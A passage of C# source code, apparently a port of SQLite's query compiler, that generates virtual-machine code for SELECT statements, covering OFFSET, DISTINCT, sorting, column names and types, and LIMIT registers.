} /* ** Add code to implement the OFFSET */ static void codeOffset( Vdbe v, /* Generate code into this VM */ Select p, /* The SELECT statement being coded */ int iContinue /* Jump here to skip the current record */ ) { if ( p.iOffset != 0 && iContinue != 0 ) { int addr; sqlite3VdbeAddOp2( v, OP_AddImm, p.iOffset, -1 ); addr = sqlite3VdbeAddOp1( v, OP_IfNeg, p.iOffset ); sqlite3VdbeAddOp2( v, OP_Goto, 0, iContinue ); #if SQLITE_DEBUG VdbeComment( v, "skip OFFSET records" ); #endif sqlite3VdbeJumpHere( v, addr ); } } /* ** Add code that will check to make sure the N registers starting at iMem ** form a distinct entry. iTab is a sorting index that holds previously ** seen combinations of the N values. A new entry is made in iTab ** if the current N values are new. ** ** A jump to addrRepeat is made and the N+1 values are popped from the ** stack if the top N elements are not distinct. */ static void codeDistinct( Parse pParse, /* Parsing and code generating context */ int iTab, /* A sorting index used to test for distinctness */ int addrRepeat, /* Jump to here if not distinct */ int N, /* Number of elements */ int iMem /* First element */ ) { Vdbe v; int r1; v = pParse.pVdbe; r1 = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp3( v, OP_MakeRecord, iMem, N, r1 ); sqlite3VdbeAddOp3( v, OP_Found, iTab, addrRepeat, r1 ); sqlite3VdbeAddOp2( v, OP_IdxInsert, iTab, r1 ); sqlite3ReleaseTempReg( pParse, r1 ); } /* ** Generate an error message when a SELECT is used within a subexpression ** (example: "a IN (SELECT * FROM table)") but it has more than 1 result ** column. We do this in a subroutine because the error occurs in multiple ** places. */ static bool checkForMultiColumnSelectError( Parse pParse, /* Parse context. */ SelectDest pDest, /* Destination of SELECT results */ int nExpr /* Number of result columns returned by SELECT */ ) { int eDest = pDest.eDest; if ( nExpr > 1 && ( eDest == SRT_Mem || eDest == SRT_Set ) ) { sqlite3ErrorMsg( pParse, "only a single result allowed for " + "a SELECT that is part of an expression" ); return true; } else { return false; } } /* ** This routine generates the code for the inside of the inner loop ** of a SELECT. ** ** If srcTab and nColumn are both zero, then the pEList expressions ** are evaluated in order to get the data for this row. If nColumn>0 ** then data is pulled from srcTab and pEList is used only to get the ** datatypes for each column. */ static void selectInnerLoop( Parse pParse, /* The parser context */ Select p, /* The complete select statement being coded */ ExprList pEList, /* List of values being extracted */ int srcTab, /* Pull data from this table */ int nColumn, /* Number of columns in the source table */ ExprList pOrderBy, /* If not NULL, sort results using this key */ int distinct, /* If >=0, make sure results are distinct */ SelectDest pDest, /* How to dispose of the results */ int iContinue, /* Jump here to continue with next row */ int iBreak /* Jump here to break out of the inner loop */ ) { Vdbe v = pParse.pVdbe; int i; bool hasDistinct; /* True if the DISTINCT keyword is present */ int regResult; /* Start of memory holding result set */ int eDest = pDest.eDest; /* How to dispose of results */ int iParm = pDest.iParm; /* First argument to disposal method */ int nResultCol; /* Number of result columns */ Debug.Assert( v != null ); if ( NEVER( v == null ) ) return; Debug.Assert( pEList != null ); hasDistinct = distinct >= 0; if ( pOrderBy == null && !hasDistinct ) { codeOffset( v, p, iContinue ); } /* Pull the requested columns. */ if ( nColumn > 0 ) { nResultCol = nColumn; } else { nResultCol = pEList.nExpr; } if ( pDest.iMem == 0 ) { pDest.iMem = pParse.nMem + 1; pDest.nMem = nResultCol; pParse.nMem += nResultCol; } else { Debug.Assert( pDest.nMem == nResultCol ); } regResult = pDest.iMem; if ( nColumn > 0 ) { for ( i = 0 ; i < nColumn ; i++ ) { sqlite3VdbeAddOp3( v, OP_Column, srcTab, i, regResult + i ); } } else if ( eDest != SRT_Exists ) { /* If the destination is an EXISTS(...) expression, the actual ** values returned by the SELECT are not required. */ sqlite3ExprCacheClear( pParse ); sqlite3ExprCodeExprList( pParse, pEList, regResult, eDest == SRT_Output ); } nColumn = nResultCol; /* If the DISTINCT keyword was present on the SELECT statement ** and this row has been seen before, then do not make this row ** part of the result. */ if ( hasDistinct ) { Debug.Assert( pEList != null ); Debug.Assert( pEList.nExpr == nColumn ); codeDistinct( pParse, distinct, iContinue, nColumn, regResult ); if ( pOrderBy == null ) { codeOffset( v, p, iContinue ); } } if ( checkForMultiColumnSelectError( pParse, pDest, pEList.nExpr ) ) { return; } switch ( eDest ) { /* In this mode, write each query result to the key of the temporary ** table iParm. */ #if !SQLITE_OMIT_COMPOUND_SELECT case SRT_Union: { int r1; r1 = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 ); sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, r1 ); sqlite3ReleaseTempReg( pParse, r1 ); break; } /* Construct a record from the query result, but instead of ** saving that record, use it as a key to delete elements from ** the temporary table iParm. */ case SRT_Except: { sqlite3VdbeAddOp3( v, OP_IdxDelete, iParm, regResult, nColumn ); break; } #endif /* Store the result as data using a unique key. */ case SRT_Table: case SRT_EphemTab: { int r1 = sqlite3GetTempReg( pParse ); testcase( eDest == SRT_Table ); testcase( eDest == SRT_EphemTab ); sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 ); if ( pOrderBy != null ) { pushOntoSorter( pParse, pOrderBy, p, r1 ); } else { int r2 = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp2( v, OP_NewRowid, iParm, r2 ); sqlite3VdbeAddOp3( v, OP_Insert, iParm, r1, r2 ); sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); sqlite3ReleaseTempReg( pParse, r2 ); } sqlite3ReleaseTempReg( pParse, r1 ); break; } #if !SQLITE_OMIT_SUBQUERY /* If we are creating a set for an "expr IN (SELECT ...)" construct, ** then there should be a single item on the stack. Write this ** item into the set table with bogus data. */ case SRT_Set: { Debug.Assert( nColumn == 1 ); p.affinity = sqlite3CompareAffinity( pEList.a[0].pExpr, pDest.affinity ); if ( pOrderBy != null ) { /* At first glance you would think we could optimize out the ** ORDER BY in this case since the order of entries in the set ** does not matter. But there might be a LIMIT clause, in which ** case the order does matter */ pushOntoSorter( pParse, pOrderBy, p, regResult ); } else { int r1 = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp4( v, OP_MakeRecord, regResult, 1, r1, p.affinity, 1 ); sqlite3ExprCacheAffinityChange( pParse, regResult, 1 ); sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, r1 ); sqlite3ReleaseTempReg( pParse, r1 ); } break; } /* If any row exist in the result set, record that fact and abort. */ case SRT_Exists: { sqlite3VdbeAddOp2( v, OP_Integer, 1, iParm ); /* The LIMIT clause will terminate the loop for us */ break; } /* If this is a scalar select that is part of an expression, then ** store the results in the appropriate memory cell and break out ** of the scan loop. */ case SRT_Mem: { Debug.Assert( nColumn == 1 ); if ( pOrderBy != null ) { pushOntoSorter( pParse, pOrderBy, p, regResult ); } else { sqlite3ExprCodeMove( pParse, regResult, iParm, 1 ); /* The LIMIT clause will jump out of the loop for us */ } break; } #endif // * #if !SQLITE_OMIT_SUBQUERY */ /* Send the data to the callback function or to a subroutine. In the ** case of a subroutine, the subroutine itself is responsible for ** popping the data from the stack. */ case SRT_Coroutine: case SRT_Output: { testcase( eDest == SRT_Coroutine ); testcase( eDest == SRT_Output ); if ( pOrderBy != null ) { int r1 = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 ); pushOntoSorter( pParse, pOrderBy, p, r1 ); sqlite3ReleaseTempReg( pParse, r1 ); } else if ( eDest == SRT_Coroutine ) { sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm ); } else { sqlite3VdbeAddOp2( v, OP_ResultRow, regResult, nColumn ); sqlite3ExprCacheAffinityChange( pParse, regResult, nColumn ); } break; } #if !SQLITE_OMIT_TRIGGER /* Discard the results. This is used for SELECT statements inside ** the body of a TRIGGER. The purpose of such selects is to call ** user-defined functions that have side effects. We do not care ** about the actual results of the select. */ default: { Debug.Assert( eDest == SRT_Discard ); break; } #endif } /* Jump to the end of the loop if the LIMIT is reached. */ if ( p.iLimit != 0 ) { Debug.Assert( pOrderBy == null ); /* If there is an ORDER BY, the call to ** pushOntoSorter() would have cleared p.iLimit */ sqlite3VdbeAddOp2( v, OP_AddImm, p.iLimit, -1 ); sqlite3VdbeAddOp2( v, OP_IfZero, p.iLimit, iBreak ); } } /* ** Given an expression list, generate a KeyInfo structure that records ** the collating sequence for each expression in that expression list. ** ** If the ExprList is an ORDER BY or GROUP BY clause then the resulting ** KeyInfo structure is appropriate for initializing a virtual index to ** implement that clause. If the ExprList is the result set of a SELECT ** then the KeyInfo structure is appropriate for initializing a virtual ** index to implement a DISTINCT test. ** ** Space to hold the KeyInfo structure is obtain from malloc. The calling ** function is responsible for seeing that this structure is eventually ** freed. Add the KeyInfo structure to the P4 field of an opcode using ** P4_KEYINFO_HANDOFF is the usual way of dealing with this. */ static KeyInfo keyInfoFromExprList( Parse pParse, ExprList pList ) { sqlite3 db = pParse.db; int nExpr; KeyInfo pInfo; ExprList_item pItem; int i; nExpr = pList.nExpr; pInfo = new KeyInfo();//sqlite3DbMallocZero(db, sizeof(*pInfo) + nExpr*(CollSeq*.Length+1) ); if ( pInfo != null ) { pInfo.aSortOrder = new byte[nExpr];// pInfo.aColl[nExpr]; pInfo.aColl = new CollSeq[nExpr]; pInfo.nField = (u16)nExpr; pInfo.enc = db.aDbStatic[0].pSchema.enc;// ENC(db); pInfo.db = db; for ( i = 0 ; i < nExpr ; i++ ) {//, pItem++){ pItem = pList.a[i]; CollSeq pColl; pColl = sqlite3ExprCollSeq( pParse, pItem.pExpr ); if ( pColl == null ) { pColl = db.pDfltColl; } pInfo.aColl[i] = pColl; pInfo.aSortOrder[i] = (byte)pItem.sortOrder; } } return pInfo; } /* ** If the inner loop was generated using a non-null pOrderBy argument, ** then the results were placed in a sorter. After the loop is terminated ** we need to run the sorter and output the results. The following ** routine generates the code needed to do that. */ static void generateSortTail( Parse pParse, /* Parsing context */ Select p, /* The SELECT statement */ Vdbe v, /* Generate code into this VDBE */ int nColumn, /* Number of columns of data */ SelectDest pDest /* Write the sorted results here */ ) { int addrBreak = sqlite3VdbeMakeLabel( v ); /* Jump here to exit loop */ int addrContinue = sqlite3VdbeMakeLabel( v ); /* Jump here for next cycle */ int addr; int iTab; int pseudoTab = 0; ExprList pOrderBy = p.pOrderBy; int eDest = pDest.eDest; int iParm = pDest.iParm; int regRow; int regRowid; iTab = pOrderBy.iECursor; if ( eDest == SRT_Output || eDest == SRT_Coroutine ) { pseudoTab = pParse.nTab++; sqlite3VdbeAddOp3( v, OP_OpenPseudo, pseudoTab, eDest == SRT_Output ? 1 : 0, nColumn ); } addr = 1 + sqlite3VdbeAddOp2( v, OP_Sort, iTab, addrBreak ); codeOffset( v, p, addrContinue ); regRow = sqlite3GetTempReg( pParse ); regRowid = sqlite3GetTempReg( pParse ); sqlite3VdbeAddOp3( v, OP_Column, iTab, pOrderBy.nExpr + 1, regRow ); switch ( eDest ) { case SRT_Table: case SRT_EphemTab: { testcase( eDest == SRT_Table ); testcase( eDest == SRT_EphemTab ); sqlite3VdbeAddOp2( v, OP_NewRowid, iParm, regRowid ); sqlite3VdbeAddOp3( v, OP_Insert, iParm, regRow, regRowid ); sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); break; } #if !SQLITE_OMIT_SUBQUERY case SRT_Set: { Debug.Assert( nColumn == 1 ); sqlite3VdbeAddOp4( v, OP_MakeRecord, regRow, 1, regRowid, p.affinity, 1 ); sqlite3ExprCacheAffinityChange( pParse, regRow, 1 ); sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, regRowid ); break; } case SRT_Mem: { Debug.Assert( nColumn == 1 ); sqlite3ExprCodeMove( pParse, regRow, iParm, 1 ); /* The LIMIT clause will terminate the loop for us */ break; } #endif default: { int i; Debug.Assert( eDest == SRT_Output || eDest == SRT_Coroutine ); testcase( eDest == SRT_Output ); testcase( eDest == SRT_Coroutine ); sqlite3VdbeAddOp2( v, OP_Integer, 1, regRowid ); sqlite3VdbeAddOp3( v, OP_Insert, pseudoTab, regRow, regRowid ); for ( i = 0 ; i < nColumn ; i++ ) { Debug.Assert( regRow != pDest.iMem + i ); sqlite3VdbeAddOp3( v, OP_Column, pseudoTab, i, pDest.iMem + i ); } if ( eDest == SRT_Output ) { sqlite3VdbeAddOp2( v, OP_ResultRow, pDest.iMem, nColumn ); sqlite3ExprCacheAffinityChange( pParse, pDest.iMem, nColumn ); } else { sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm ); } break; } } sqlite3ReleaseTempReg( pParse, regRow ); sqlite3ReleaseTempReg( pParse, regRowid ); /* LIMIT has been implemented by the pushOntoSorter() routine. */ Debug.Assert( p.iLimit == 0 ); /* The bottom of the loop */ sqlite3VdbeResolveLabel( v, addrContinue ); sqlite3VdbeAddOp2( v, OP_Next, iTab, addr ); sqlite3VdbeResolveLabel( v, addrBreak ); if ( eDest == SRT_Output || eDest == SRT_Coroutine ) { sqlite3VdbeAddOp2( v, OP_Close, pseudoTab, 0 ); } } /* ** Return a pointer to a string containing the 'declaration type' of the ** expression pExpr. The string may be treated as static by the caller. ** ** The declaration type is the exact datatype definition extracted from the ** original CREATE TABLE statement if the expression is a column. The ** declaration type for a ROWID field is INTEGER. Exactly when an expression ** is considered a column can be complex in the presence of subqueries. The ** result-set expression in all of the following SELECT statements is ** considered a column by this function. ** ** SELECT col FROM tbl; ** SELECT (SELECT col FROM tbl; ** SELECT (SELECT col FROM tbl); ** SELECT abc FROM (SELECT col AS abc FROM tbl); ** ** The declaration type for any expression other than a column is NULL. */ static string columnType( NameContext pNC, Expr pExpr, ref string pzOriginDb, ref string pzOriginTab, ref string pzOriginCol ) { string zType = null; string zOriginDb = null; string zOriginTab = null; string zOriginCol = null; int j; if ( NEVER( pExpr == null ) || pNC.pSrcList == null ) return null; switch ( pExpr.op ) { case TK_AGG_COLUMN: case TK_COLUMN: { /* The expression is a column. Locate the table the column is being ** extracted from in NameContext.pSrcList. This table may be real ** database table or a subquery. */ Table pTab = null; /* Table structure column is extracted from */ Select pS = null; /* Select the column is extracted from */ int iCol = pExpr.iColumn; /* Index of column in pTab */ testcase( pExpr.op == TK_AGG_COLUMN ); testcase( pExpr.op == TK_COLUMN ); while ( pNC != null && pTab == null ) { SrcList pTabList = pNC.pSrcList; for ( j = 0 ; j < pTabList.nSrc && pTabList.a[j].iCursor != pExpr.iTable ; j++ ) ; if ( j < pTabList.nSrc ) { pTab = pTabList.a[j].pTab; pS = pTabList.a[j].pSelect; } else { pNC = pNC.pNext; } } if ( pTab == null ) { /* FIX ME: ** This can occurs if you have something like "SELECT new.x;" inside ** a trigger. In other words, if you reference the special "new" ** table in the result set of a select. We do not have a good way ** to find the actual table type, so call it "TEXT". This is really ** something of a bug, but I do not know how to fix it. ** ** This code does not produce the correct answer - it just prevents ** a segfault. See ticket #1229. */ zType = "TEXT"; break; } Debug.Assert( pTab != null ); if ( pS != null ) { /* The "table" is actually a sub-select or a view in the FROM clause ** of the SELECT statement. Return the declaration type and origin ** data for the result-set column of the sub-select. */ if ( ALWAYS( iCol >= 0 && iCol < pS.pEList.nExpr ) ) { /* If iCol is less than zero, then the expression requests the ** rowid of the sub-select or view. This expression is legal (see ** test case misc2.2.2) - it always evaluates to NULL. */ NameContext sNC = new NameContext(); Expr p = pS.pEList.a[iCol].pExpr; sNC.pSrcList = pS.pSrc; sNC.pNext = null; sNC.pParse = pNC.pParse; zType = columnType( sNC, p, ref zOriginDb, ref zOriginTab, ref zOriginCol ); } } else if ( ALWAYS( pTab.pSchema ) ) { /* A real table */ Debug.Assert( pS == null ); if ( iCol < 0 ) iCol = pTab.iPKey; Debug.Assert( iCol == -1 || ( iCol >= 0 && iCol < pTab.nCol ) ); if ( iCol < 0 ) { zType = "INTEGER"; zOriginCol = "rowid"; } else { zType = pTab.aCol[iCol].zType; zOriginCol = pTab.aCol[iCol].zName; } zOriginTab = pTab.zName; if ( pNC.pParse != null ) { int iDb = sqlite3SchemaToIndex( pNC.pParse.db, pTab.pSchema ); zOriginDb = pNC.pParse.db.aDb[iDb].zName; } } break; } #if !SQLITE_OMIT_SUBQUERY case TK_SELECT: { /* The expression is a sub-select. Return the declaration type and ** origin info for the single column in the result set of the SELECT ** statement. */ NameContext sNC = new NameContext(); Select pS = pExpr.x.pSelect; Expr p = pS.pEList.a[0].pExpr; Debug.Assert( ExprHasProperty( pExpr, EP_xIsSelect ) ); sNC.pSrcList = pS.pSrc; sNC.pNext = pNC; sNC.pParse = pNC.pParse; zType = columnType( sNC, p, ref zOriginDb, ref zOriginTab, ref zOriginCol ); break; } #endif } if ( pzOriginDb != null ) { Debug.Assert( pzOriginTab != null && pzOriginCol != null ); pzOriginDb = zOriginDb; pzOriginTab = zOriginTab; pzOriginCol = zOriginCol; } return zType; } /* ** Generate code that will tell the VDBE the declaration types of columns ** in the result set. */ static void generateColumnTypes( Parse pParse, /* Parser context */ SrcList pTabList, /* List of tables */ ExprList pEList /* Expressions defining the result set */ ) { #if !SQLITE_OMIT_DECLTYPE Vdbe v = pParse.pVdbe; int i; NameContext sNC = new NameContext(); sNC.pSrcList = pTabList; sNC.pParse = pParse; for ( i = 0 ; i < pEList.nExpr ; i++ ) { Expr p = pEList.a[i].pExpr; string zType; #if SQLITE_ENABLE_COLUMN_METADATA const string zOrigDb = 0; const string zOrigTab = 0; const string zOrigCol = 0; zType = columnType(&sNC, p, zOrigDb, zOrigTab, zOrigCol); /* The vdbe must make its own copy of the column-type and other ** column specific strings, in case the schema is reset before this ** virtual machine is deleted. */ sqlite3VdbeSetColName(v, i, COLNAME_DATABASE, zOrigDb, SQLITE_TRANSIENT); sqlite3VdbeSetColName(v, i, COLNAME_TABLE, zOrigTab, SQLITE_TRANSIENT); sqlite3VdbeSetColName(v, i, COLNAME_COLUMN, zOrigCol, SQLITE_TRANSIENT); #else string sDummy = null; zType = columnType( sNC, p, ref sDummy, ref sDummy, ref sDummy ); #endif sqlite3VdbeSetColName( v, i, COLNAME_DECLTYPE, zType, SQLITE_TRANSIENT ); } #endif //* SQLITE_OMIT_DECLTYPE */ } /* ** Generate code that will tell the VDBE the names of columns ** in the result set. This information is used to provide the ** azCol[] values in the callback. */ static void generateColumnNames( Parse pParse, /* Parser context */ SrcList pTabList, /* List of tables */ ExprList pEList /* Expressions defining the result set */ ) { Vdbe v = pParse.pVdbe; int i, j; sqlite3 db = pParse.db; bool fullNames; bool shortNames; #if !SQLITE_OMIT_EXPLAIN /* If this is an EXPLAIN, skip this step */ if ( pParse.explain != 0 ) { return; } #endif if ( pParse.colNamesSet != 0 || NEVER( v == null ) /*|| db.mallocFailed != 0 */ ) return; pParse.colNamesSet = 1; fullNames = ( db.flags & SQLITE_FullColNames ) != 0; shortNames = ( db.flags & SQLITE_ShortColNames ) != 0; sqlite3VdbeSetNumCols( v, pEList.nExpr ); for ( i = 0 ; i < pEList.nExpr ; i++ ) { Expr p; p = pEList.a[i].pExpr; if ( NEVER( p == null ) ) continue; if ( pEList.a[i].zName != null ) { string zName = pEList.a[i].zName; sqlite3VdbeSetColName( v, i, COLNAME_NAME, zName, SQLITE_TRANSIENT ); } else if ( ( p.op == TK_COLUMN || p.op == TK_AGG_COLUMN ) && pTabList != null ) { Table pTab; string zCol; int iCol = p.iColumn; for ( j = 0 ; ALWAYS( j < pTabList.nSrc ) ; j++ ) { if ( pTabList.a[j].iCursor == p.iTable ) break; } Debug.Assert( j < pTabList.nSrc ); pTab = pTabList.a[j].pTab; if ( iCol < 0 ) iCol = pTab.iPKey; Debug.Assert( iCol == -1 || ( iCol >= 0 && iCol < pTab.nCol ) ); if ( iCol < 0 ) { zCol = "rowid"; } else { zCol = pTab.aCol[iCol].zName; } if ( !shortNames && !fullNames ) { sqlite3VdbeSetColName( v, i, COLNAME_NAME, pEList.a[i].zSpan, SQLITE_DYNAMIC );//sqlite3DbStrDup(db, pEList->a[i].zSpan), SQLITE_DYNAMIC); } else if ( fullNames ) { string zName; zName = sqlite3MPrintf( db, "%s.%s", pTab.zName, zCol ); sqlite3VdbeSetColName( v, i, COLNAME_NAME, zName, SQLITE_DYNAMIC ); } else { sqlite3VdbeSetColName( v, i, COLNAME_NAME, zCol, SQLITE_TRANSIENT ); } } else { sqlite3VdbeSetColName( v, i, COLNAME_NAME, pEList.a[i].zSpan, SQLITE_DYNAMIC );//sqlite3DbStrDup(db, pEList->a[i].zSpan), SQLITE_DYNAMIC); } } generateColumnTypes( pParse, pTabList, pEList ); } #if !SQLITE_OMIT_COMPOUND_SELECT /* ** Name of the connection operator, used for error messages. */ static string selectOpName( int id ) { string z; switch ( id ) { case TK_ALL: z = "UNION ALL"; break; case TK_INTERSECT: z = "INTERSECT"; break; case TK_EXCEPT: z = "EXCEPT"; break; default: z = "UNION"; break; } return z; } #endif // * SQLITE_OMIT_COMPOUND_SELECT */ /* ** Given a an expression list (which is really the list of expressions ** that form the result set of a SELECT statement) compute appropriate ** column names for a table that would hold the expression list. ** ** All column names will be unique. ** ** Only the column names are computed. Column.zType, Column.zColl, ** and other fields of Column are zeroed. ** ** Return SQLITE_OK on success. If a memory allocation error occurs, ** store NULL in paCol and 0 in pnCol and return SQLITE_NOMEM. */ static int selectColumnsFromExprList( Parse pParse, /* Parsing context */ ExprList pEList, /* Expr list from which to derive column names */ ref int pnCol, /* Write the number of columns here */ ref Column[] paCol /* Write the new column list here */ ) { sqlite3 db = pParse.db; /* Database connection */ int i, j; /* Loop counters */ int cnt; /* Index added to make the name unique */ Column[] aCol; Column pCol; /* For looping over result columns */ int nCol; /* Number of columns in the result set */ Expr p; /* Expression for a single result column */ string zName; /* Column name */ int nName; /* Size of name in zName[] */ pnCol = nCol = pEList.nExpr; aCol = paCol = new Column[nCol];//sqlite3DbMallocZero(db, sizeof(aCol[0])*nCol); if ( aCol == null ) return SQLITE_NOMEM; for ( i = 0 ; i < nCol ; i++ )//, pCol++) { if ( aCol[i] == null ) aCol[i] = new Column(); pCol = aCol[i]; /* Get an appropriate name for the column */ p = pEList.a[i].pExpr; Debug.Assert( p.pRight == null || ExprHasProperty( p.pRight, EP_IntValue ) || p.pRight.u.zToken == null || p.pRight.u.zToken.Length > 0 ); if ( pEList.a[i].zName != null && ( zName = pEList.a[i].zName ) != "" ) { /* If the column contains an "AS " phrase, use as the name */ //zName = sqlite3DbStrDup(db, zName); } else { Expr pColExpr = p; /* The expression that is the result column name */ Table pTab; /* Table associated with this expression */ while ( pColExpr.op == TK_DOT ) pColExpr = pColExpr.pRight; if ( pColExpr.op == TK_COLUMN && ALWAYS( pColExpr.pTab != null ) ) { /* For columns use the column name name */ int iCol = pColExpr.iColumn; pTab = pColExpr.pTab; if ( iCol < 0 ) iCol = pTab.iPKey; zName = sqlite3MPrintf( db, "%s", iCol >= 0 ? pTab.aCol[iCol].zName : "rowid" ); } else if ( pColExpr.op == TK_ID ) { Debug.Assert( !ExprHasProperty( pColExpr, EP_IntValue ) ); zName = sqlite3MPrintf( db, "%s", pColExpr.u.zToken ); } else { /* Use the original text of the column expression as its name */ zName = sqlite3MPrintf( db, "%s", pEList.a[i].zSpan ); } } //if ( db.mallocFailed != 0 ) //{ // //sqlite3DbFree( db, zName ); // break; //} /* Make sure the column name is unique. If the name is not unique, ** append a integer to the name so that it becomes unique. */ nName = sqlite3Strlen30( zName ); for ( j = cnt = 0 ; j < i ; j++ ) { if ( sqlite3StrICmp( aCol[j].zName, zName ) == 0 ) { string zNewName; //zName[nName] = 0; zNewName = sqlite3MPrintf( db, "%s:%d", zName.Substring( 0, nName ), ++cnt ); //sqlite3DbFree(db, zName); zName = zNewName; j = -1; if ( zName == "" ) break; } } pCol.zName = zName; } //if ( db.mallocFailed != 0 ) //{ // for ( j = 0 ; j < i ; j++ ) // { // //sqlite3DbFree( db, aCol[j].zName ); // } // //sqlite3DbFree( db, aCol ); // paCol = null; // pnCol = 0; // return SQLITE_NOMEM; //} return SQLITE_OK; } /* ** Add type and collation information to a column list based on ** a SELECT statement. ** ** The column list presumably came from selectColumnNamesFromExprList(). ** The column list has only names, not types or collations. This ** routine goes through and adds the types and collations. ** ** This routine requires that all identifiers in the SELECT ** statement be resolved. */ static void selectAddColumnTypeAndCollation( Parse pParse, /* Parsing contexts */ int nCol, /* Number of columns */ Column[] aCol, /* List of columns */ Select pSelect /* SELECT used to determine types and collations */ ) { sqlite3 db = pParse.db; NameContext sNC; Column pCol; CollSeq pColl; int i; Expr p; ExprList_item[] a; Debug.Assert( pSelect != null ); Debug.Assert( ( pSelect.selFlags & SF_Resolved ) != 0 ); Debug.Assert( nCol == pSelect.pEList.nExpr /*|| db.mallocFailed != 0 */ ); // if ( db.mallocFailed != 0 ) return; sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) ); sNC.pSrcList = pSelect.pSrc; a = pSelect.pEList.a; for ( i = 0 ; i < nCol ; i++ )//, pCol++ ) { pCol = aCol[i]; p = a[i].pExpr; string bDummy = null; pCol.zType = columnType( sNC, p, ref bDummy, ref bDummy, ref bDummy );// sqlite3DbStrDup( db, columnType( sNC, p, 0, 0, 0 ) ); pCol.affinity = sqlite3ExprAffinity( p ); if ( pCol.affinity == 0 ) pCol.affinity = SQLITE_AFF_NONE; pColl = sqlite3ExprCollSeq( pParse, p ); if ( pColl != null ) { pCol.zColl = pColl.zName;// sqlite3DbStrDup( db, pColl.zName ); } } } /* ** Given a SELECT statement, generate a Table structure that describes ** the result set of that SELECT. */ static Table sqlite3ResultSetOfSelect( Parse pParse, Select pSelect ) { Table pTab; sqlite3 db = pParse.db; int savedFlags; savedFlags = db.flags; db.flags &= ~SQLITE_FullColNames; db.flags |= SQLITE_ShortColNames; sqlite3SelectPrep( pParse, pSelect, null ); if ( pParse.nErr != 0 ) return null; while ( pSelect.pPrior != null ) pSelect = pSelect.pPrior; db.flags = savedFlags; pTab = new Table();// sqlite3DbMallocZero( db, sizeof( Table ) ); if ( pTab == null ) { return null; } /* The sqlite3ResultSetOfSelect() is only used n contexts where lookaside ** is disabled, so we might as well hard-code pTab->dbMem to NULL. */ Debug.Assert( db.lookaside.bEnabled == 0 ); pTab.dbMem = null; pTab.nRef = 1; pTab.zName = null; selectColumnsFromExprList( pParse, pSelect.pEList, ref pTab.nCol, ref pTab.aCol ); selectAddColumnTypeAndCollation( pParse, pTab.nCol, pTab.aCol, pSelect ); pTab.iPKey = -1; //if ( db.mallocFailed != 0 ) //{ // sqlite3DeleteTable( ref pTab ); // return null; //} return pTab; } /* ** Get a VDBE for the given parser context. Create a new one if necessary. ** If an error occurs, return NULL and leave a message in pParse. */ static Vdbe sqlite3GetVdbe( Parse pParse ) { Vdbe v = pParse.pVdbe; if ( v == null ) { v = pParse.pVdbe = sqlite3VdbeCreate( pParse.db ); #if !SQLITE_OMIT_TRACE if ( v != null ) { sqlite3VdbeAddOp0( v, OP_Trace ); } #endif } return v; } /* ** Compute the iLimit and iOffset fields of the SELECT based on the ** pLimit and pOffset expressions. pLimit and pOffset hold the expressions ** that appear in the original SQL statement after the LIMIT and OFFSET ** keywords. Or NULL if those keywords are omitted. iLimit and iOffset ** are the integer memory register numbers for counters used to compute ** the limit and offset. If there is no limit and/or offset, then ** iLimit and iOffset are negative. ** ** This routine changes the values of iLimit and iOffset only if ** a limit or offset is defined by pLimit and pOffset. iLimit and ** iOffset should have been preset to appropriate default values ** (usually but not always -1) prior to calling this routine. ** Only if pLimit!=0 or pOffset!=0 do the limit registers get ** redefined. The UNION ALL operator uses this property to force ** the reuse of the same limit and offset registers across multiple ** SELECT statements. */ static void computeLimitRegisters( Parse pParse, Select p, int iBreak ) { Vdbe v = null; int iLimit = 0; int iOffset; int addr1; if ( p.iLimit != 0 ) return; /* ** "LIMIT -1" always shows all rows. There is some ** contraversy about what the correct behavior should be. ** The current implementation interprets "LIMIT 0" to mean ** no rows. */ sqlite3ExprCacheClear( pParse ); Debug.Assert( p.pOffset == null || p.pLimit != null ); if ( p.pLimit != null ) { p.iLimit = iLimit = ++pParse.nMem; v = sqlite3GetVdbe( pParse ); if ( NEVER( v == null ) ) return; /* VDBE should have already been allocated */ sqlite3ExprCode( pParse, p.pLimit, iLimit ); sqlite3VdbeAddOp1( v, OP_MustBeInt, iLimit ); #if SQLITE_DEBUG VdbeComment( v, "LIMIT counter" ); #endif sqlite3VdbeAddOp2( v, OP_IfZero, iLimit, iBreak ); if ( p.pOffset != null ) { p.iOffset = iOffset = ++pParse.nMem; pParse.nMem++; /* Allocate an extra register for limit+offset */ sqlite3ExprCode( pParse, p.pOffset, iOffset ); sqlite3VdbeAddOp1( v, OP_MustBeInt, iOffset ); #if SQLITE_DEBUG VdbeComment( v, "OFFSET counter" ); #endif addr1 = sqlite3VdbeAddOp1( v, OP_IfPos, iOffset ); sqlite3VdbeAddOp2( v, OP_Integer, 0, iOffset ); sqlite3VdbeJumpHere( v, addr1 ); sqlite3VdbeAddOp3( v, OP_Add, iLimit, iOffset, iOffset + 1 ); #if SQLITE_DEBUG VdbeComment( v, "LIMIT+OFFSET" ); #endif addr1 = sqlite3VdbeAddOp1( v, OP_IfPos, iLimit ); sqlite3VdbeAddOp2( v, OP_Integer, -1, iOffset + 1 ); sqlite3VdbeJumpHere( v, addr1 ); } } } #if !SQLITE_OMIT_COMPOUND_SELECT /* ** Return the appropriate collating sequence for the iCol-th column of ** the result set for the compound-select statement "p". Return NULL if ** the column has no default collating sequence. ** ** The collating sequence for the compound select is taken from the ** left-most term of the select that has a collating sequence. */ static CollSeq multiSelectCollSeq( Parse pParse, Select p, int iCol ) { CollSeq pRet; if ( p.pPrior != null ) { pRet = multiSelectCollSeq( pParse, p.pPrior, iCol ); } else { pRet = null; } Debug.Assert( iCol >= 0 ); if ( pRet == null && iCol < p.pEList.nExpr ) { pRet = sqlite3ExprCollSeq( pParse, p.pEList.a[iCol].pExpr ); } return 